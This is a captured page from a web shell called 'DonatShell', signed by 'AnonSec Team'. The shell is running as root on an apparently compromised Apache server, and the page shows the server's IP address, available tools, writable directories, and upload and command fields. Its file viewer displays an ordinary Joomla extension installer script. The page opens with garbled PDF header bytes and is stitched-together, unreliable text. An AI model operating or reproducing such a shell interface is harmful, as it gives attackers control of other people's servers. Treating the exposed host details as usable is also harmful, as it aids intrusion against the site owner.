%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/modules/mod_pwebbox/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/modules/mod_pwebbox/perfectinstaller.php
<?php

/**
 * @package     pwebbox
 * @version    2.0.10
 *
 * @copyright   Copyright (C) 2015 Perfect Web. All rights reserved. http://www.perfect-web.co
 * @license     GNU General Public Licence http://www.gnu.org/licenses/gpl-3.0.html
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

if (!class_exists('PerfectInstaller')) {

    class PerfectInstaller
    {

        protected $manifest = null;
        protected $old_manifest = null;
        protected $extension = null;
        protected $is_pro = null;

        /**
         * Constructor
         *
         * @param   JAdapterInstance $adapter The object responsible for running this script
         */
        public function __construct(JAdapterInstance $adapter)
        {

        }

        /**
         * Called before any type of action
         *
         * @param   string $route Which action is happening (install|uninstall|discover_install|update)
         * @param   JAdapterInstance $adapter The object responsible for running this script
         *
         * @return  boolean  True on success
         */
        public function preflight($route, JAdapterInstance $adapter)
        {
            $parent = $adapter->getParent();
            $this->manifest = $parent->getManifest();
            $this->loadExtensionFromManifest();

            if ($route == 'update' || $route == 'uninstall') {
                $this->loadExtensionId();
            }

            $this->loadExtensionManifestCache();
            
            // Detect PRO version
            if ($this->extension->element == 'mod_pwebbox')
            {
                if (version_compare($this->old_manifest->get('version', '2.0.0'), '2.0.12', '<'))
                {
                    $installed_plugins = JFolder::folders(JPATH_PLUGINS . '/everything_in_everyway');

                    $pro_plugins = array(
                        'acymailing',
                        'any_module',
                        'article',
                        'bing_maps',
                        'box_embedded_folder',
                        //'cookie_policy',
                        //'custom_html',
                        //'facebook_page_plugin',
                        'facebook_embedded_post',
                        'flexi_article',
                        'freshmail',
                        'google_drive_embedded_folder',
                        'google_maps',
                        //'iframe',
                        'instagram_embedded_post',
                        'instagram_feed',
                        'k2_article',
                        //'link',
                        'mailchimp',
                        'seblod_article',
                        'spotify',
                        'twitter_embedded_tweet',
                        'twitter_feed',
                        'vimeo_video',
                        'youtube_video',
                        'youtube_gallery',
                        'zoo_article',
                    );

                    $this->is_pro = count(array_intersect($pro_plugins, $installed_plugins)) > 0;
                }
                else
                {
                    $this->is_pro = (strpos((string) $this->manifest->name, ' PRO') !== false);
                }
            }
        }

        /**
         * Called after any type of action
         *
         * @param   string $route Which action is happening (install|uninstall|discover_install|update)
         * @param   JAdapterInstance $adapter The object responsible for running this script
         *
         * @return  boolean  True on success
         */
        public function postflight($route, JAdapterInstance $adapter)
        {
            $update_extension = array();

            if ($this->is_pro === true AND strpos((string) $this->manifest->name, ' PRO') === false)
            {
                // Change extension name
                $parent = $adapter->getParent();
                $name   = (string) $this->manifest->name . ' PRO';

                $update_extension['name']           = $name;
                $manifest_cache                     = json_decode($parent->generateManifestCache());
                $manifest_cache->name               = $name;
                $update_extension['manifest_cache'] = json_encode($manifest_cache);
            }

            if ($route == 'install' OR $route == 'discover_install')
            {
                // Enable extension
                $update_extension['enabled'] = 1;
            }

            // Update extension
            if (!empty($update_extension))
            {
                $db = JFactory::getDBO();

                $query = $db->getQuery(true)
                        ->update($db->quoteName('#__extensions'));

                foreach ($update_extension as $key => $value)
                {
                    $query->set($db->quoteName($key) . ' = ' . $db->quote($value));
                }

                $query->where(array(
                    $db->quoteName('type') . ' = ' . $db->quote($this->extension->type),
                    $db->quoteName('element') . ' = ' . $db->quote($this->extension->element),
                    $db->quoteName('folder') . ' = ' . $db->quote($this->extension->folder),
                    $db->quoteName('client_id') . ' = ' . $db->quote($this->extension->client_id)
                ));

                $db->setQuery($query);

                try
                {
                    $db->execute();
                }
                catch (Exception $e)
                {
                    echo $e->getMessage();
                }
            }

            $update_site_exists = false;
            // Get all update sites from Perfect-Web.co
            $update_sites       = $this->getUpdateSites();
            foreach ($update_sites as $update_site)
            {
                $version = null;
                if ($this->extension->element == $update_site->element AND $this->extension->type == $update_site->type AND $this->extension->folder == $update_site->folder)
                {
                    $update_site_exists = true;
                    $version = isset($this->manifest->version) ? (string) $this->manifest->version : null;

                    if (is_bool($this->is_pro))
                    {
                        // Change update server location for module
                        $replace = array('&id=44', '&id=13'); // PRO, FREE
                        if ($this->is_pro)
                        {
                            $replace = array_reverse($replace);
                        }

                        if (version_compare(JVERSION, '3.2.2', '>='))
                        {
                            $update_site->location = str_replace($replace[0], $replace[1], $update_site->location);
                            $this->changeUpdateSiteLocation($update_site->id, $update_site->location);
                        }
                        else
                        {
                            $update_site->server = str_replace($replace[0], $replace[1], $update_site->server);
                        }
                    }
                }

                $this->updateUpdateSite($update_site->id, $update_site->server, $version);
            }

            // Create update site for current extension if does not exists
            if (!$update_site_exists)
            {
                $name    = isset($this->manifest->name) ? str_replace(' PRO', '', (string) $this->manifest->name) : 'Perfect Extension';
                $version = isset($this->manifest->version) ? (string) $this->manifest->version : null;
                $this->createUpdateSite($name, $version);
            }
        }

        /**
         * Get Akeeba Release System update stream id
         *
         * @return int
         */
        protected function getUpdateStreamId()
        {
            return isset($this->manifest->perfect_update_id) ? (int)$this->manifest->perfect_update_id : 0;
        }

        protected function loadExtensionFromManifest()
        {
            if (!isset($this->extension) || empty($this->extension)) {
                $this->extension = JTable::getInstance('extension');

                $this->extension->type = strtolower((string)$this->manifest->attributes()->type);
                $this->extension->folder = isset($this->manifest->attributes()->group) ? strtolower((string)$this->manifest->attributes()->group) : '';
                $this->extension->client_id = 0;

                if ($cname = (string)$this->manifest->attributes()->client) {
                    // Attempt to map the client to a base path
                    $client = JApplicationHelper::getClientInfo($cname, true);
                    if ($client !== false) {
                        $this->extension->client_id = $client->id;
                    }
                }

                $type = $this->extension->type;
                if ($type == 'component') {
                    $name = strtolower(JFilterInput::getInstance()->clean((string)$this->manifest->name, 'cmd'));
                    if (substr($name, 0, 4) == 'com_') {
                        $this->extension->element = $name;
                    } else {
                        $this->extension->element = 'com_' . $name;
                    }
                } elseif ($type == 'package') {
                    $this->extension->element = 'pkg_' . strtolower(JFilterInput::getInstance()->clean((string)$this->manifest->packagename, 'cmd'));
                } elseif ($type == 'module' || $type == 'plugin') {
                    if (count($this->manifest->files->children())) {
                        foreach ($this->manifest->files->children() as $file) {
                            if ((string)$file->attributes()->$type) {
                                $this->extension->element = strtolower((string)$file->attributes()->$type);
                                break;
                            }
                        }
                    }
                }

                if (!$this->extension->element) {
                    $this->extension->element = strtolower(str_replace('InstallerScript', '', __CLASS__));
                }
            }
        }

        protected function loadExtensionId()
        {
            if (!isset($this->extension->extension_id) || empty($this->extension->extension_id)) {
                $db = JFactory::getDBO();
                $query = $db->getQuery(true)
                    ->select('extension_id')
                    ->from('#__extensions')
                    ->where(array(
                        $db->quoteName('type') . ' = ' . $db->quote($this->extension->type),
                        $db->quoteName('element') . ' = ' . $db->quote($this->extension->element),
                        $db->quoteName('folder') . ' = ' . $db->quote($this->extension->folder),
                        $db->quoteName('client_id') . ' = ' . $db->quote($this->extension->client_id)
                    ));

                $db->setQuery($query);
                try {
                    $this->extension->extension_id = (int)$db->loadResult();
                } catch (Exception $e) {
                    $this->extension->extension_id = 0;
                }
            }

            return ($this->extension->extension_id > 0);
        }

        protected function loadExtensionManifestCache()
        {
            if (!isset($this->old_manifest) || empty($this->old_manifest)) {
                jimport('joomla.registry.registry');

                $db = JFactory::getDBO();
                $query = $db->getQuery(true)
                    ->select('manifest_cache')
                    ->from('#__extensions');

                if ($this->extension->extension_id) {
                    $query->where($db->quoteName('extension_id') . ' = ' . (int)$this->extension->extension_id);
                } else {
                    $query->where(array(
                        $db->quoteName('type') . ' = ' . $db->quote($this->extension->type),
                        $db->quoteName('element') . ' = ' . $db->quote($this->extension->element),
                        $db->quoteName('folder') . ' = ' . $db->quote($this->extension->folder),
                        $db->quoteName('client_id') . ' = ' . $db->quote($this->extension->client_id)
                    ));
                }

                $db->setQuery($query);
                try {
                    $manifest_cache = $db->loadResult();
                } catch (Exception $e) {
                    $manifest_cache = null;
                }

                $this->old_manifest = new JRegistry($manifest_cache);
            }
        }

        protected function getUpdateSites()
        {
            $db = JFactory::getDBO();
            $query = $db->getQuery(true);

            $query->select('us.update_site_id AS id, ' . (version_compare(JVERSION, '3.2.2', '>=') ? 'us.extra_query' : 'us.location') . ' AS server, us.location'
                . ', e.type, e.element, e.folder, e.client_id AS client')
                ->from('#__update_sites_extensions AS ue')
                ->join('LEFT', '#__extensions AS e ON ue.extension_id = e.extension_id')
                ->join('INNER', '#__update_sites AS us ON us.update_site_id = ue.update_site_id')
                ->where('us.location LIKE ' . $db->quote('%'.$db->escape('://www.perfect-web.co/index.php?option=com_ars&view=update&task=stream&format=xml&id=').'%', false));

            $db->setQuery($query);
            try {
                $update_sites = $db->loadObjectList();
            } catch (Exception $e) {
                $update_sites = null;
            }

            return $update_sites ? $update_sites : array();
        }

        protected function updateUpdateSite($update_site_id, $url_query, $version = null, $dlid = null)
        {
            $db = JFactory::getDBO();

            $update_site = new stdClass();
            $update_site->update_site_id = $update_site_id;

            //parse url of extra_query ( basically extracting vars )
            $url = parse_url($url_query);

            if (version_compare(JVERSION, '3.2.2', '>='))
            {
                $url_query = isset($url['path']) ? $url['path'] : '';
            }
            else
            {
                $url_query = isset($url['query']) ? $url['query'] : '';
            }

            parse_str($url_query, $url_vars);

            if ($version !== null)
                $url_vars['version'] = $version;

            $url_vars['jversion'] = JVERSION;
            $url_vars['host'] = JUri::root();

            if ($dlid !== null)
            {
                if (isset($url_vars['dlid']) AND $url_vars['dlid'] != $dlid)
                {
                    // purge updates cache after changing Download ID
                    $query = $db->getQuery(true)
                            ->delete('#__updates')
                            ->where('update_site_id = ' . (int) $update_site_id);
                    $db->setQuery($query);
                    try
                    {
                        $db->execute();
                    }
                    catch (Exception $e)
                    {

                    }
                }
                $url_vars['dlid'] = $dlid;
            }

            if (version_compare(JVERSION, '3.2.2', '>='))
            {
                $url['path'] = http_build_query($url_vars);
                $update_site->extra_query = $url['path'];
            }
            else
            {
                $url['query'] = http_build_query($url_vars);
                $update_site->location = 'https://' . $url['host'] . $url['path'] . '?' . $url['query'];
            }

            try
            {
                return $db->updateObject('#__update_sites', $update_site, 'update_site_id');
            }
            catch (Exception $e)
            {
                return false;
            }
        }

        protected function createUpdateSite($name, $version = null, $dlid = null)
        {
            if (!$this->loadExtensionId() || !($update_stream_id = $this->getUpdateStreamId()))
			{
				return false;
			}

			$db = JFactory::getDBO();

			$update_site = new stdClass();
			$update_site->name = $name;
			$update_site->type = 'extension';
			$update_site->enabled = 1;
			$update_site->location = 'https://www.perfect-web.co/index.php?option=com_ars&view=update&task=stream&format=xml&id=' . $update_stream_id;

            $url_query = array(
                'version' => $version ? $version : '1.0.0',
                'jversion' => JVERSION,
                'host' => JUri::root()
            );
            if ($dlid !== null)
                $url_query['dlid'] = $dlid;

            if (version_compare(JVERSION, '3.2.2', '>='))
            {
                $update_site->extra_query = http_build_query($url_query);
            }
            else
            {
                $update_site->location .= '&' . http_build_query($url_query);
            }

            try
            {
                $db->insertObject('#__update_sites', $update_site, 'update_site_id');

                $update_site_extension = new stdClass();
                $update_site_extension->update_site_id = $update_site->update_site_id;
                $update_site_extension->extension_id = $this->extension->extension_id;
                $db->insertObject('#__update_sites_extensions', $update_site_extension, 'update_site_id');
            }
            catch (Exception $e)
            {
                return false;
            }
            return true;
        }

        protected function changeUpdateSiteLocation($update_site_id, $location)
        {
            $db = JFactory::getDbo();

            $update_site = new stdClass();
            $update_site->update_site_id = $update_site_id;
            $update_site->location = $location;

            try
            {
                return $db->updateObject('#__update_sites', $update_site, 'update_site_id');
            }
            catch (Exception $e)
            {
                return false;
            }
        }

        /**
         * Called on installation
         *
         * @param   JAdapterInstance $adapter The object responsible for running this script
         *
         * @return  boolean  True on success
         */
        public function install(JAdapterInstance $adapter)
        {

            //Only for everyway installation we add a button for creating instance of module
            if ($this->extension->folder == 'everything_in_everyway')
                $this->createModuleInstanceMessage();
        }

        /**
         * Called on update
         *
         * @param   JAdapterInstance $adapter The object responsible for running this script
         *
         * @return  boolean  True on success
         */
        public function update(JAdapterInstance $adapter)
        {

        }

        /**
         * Display Message for creating module instance with installed plugins
         */
        protected function createModuleInstanceMessage()
        {
            $app = JFactory::getApplication();

            // Get mod_pwebbox id from extensions table.
            $db = JFactory::getDbo();

            $query = $db->getQuery(true);

            $query
                ->select($db->quoteName('extension_id'))
                ->from($db->quoteName('#__extensions'))
                ->where($db->quoteName('element') . ' = ' . $db->quote('mod_pwebbox'));

            $db->setQuery($query);

            try {
                $result = $db->loadResult();
            } catch (Exception $e) {
                echo $e->getMessage();
            }

            $icon = '';
            // For J!2.5 integration.
            if (is_file(JPATH_ROOT . '/media/jui/css/icomoon.css')) {
                $icon = '<i class="icon-plus icon-white"></i> ';
            }

            $message_type = 'notice';
            if (!empty($result)) {
                $onclick = 'onclick="location.href=\'index.php?option=com_modules&task=module.add&eid=' . $result . '#plugin-' . $this->extension->element . '\'"';

                $message_info = 'Create new module to display ' . (isset($this->manifest->name) ? (string) $this->manifest->name : 'Perfect Extension');
                $message_info .= ' <button ' . $onclick . ' type="button" class="btn btn-success hasTooltip" id="pweb_plugin_create_instance" title="To see your content on the website you need to use this plugin with Perfect Everything in Lightbox & more module. Clicking here will create a new module instance and redirect you there.">'
                    . $icon . 'Create'
                    . '</button>';
            } else {
                $message_info = 'Module Perfect Everything in Everyway is not installed! You must install it to display this plugin on the website.';
                $message_type = 'warning';
            }

            $app->enqueueMessage($message_info, $message_type);
        }

    }
}

Anon7 - 2022
AnonSec Team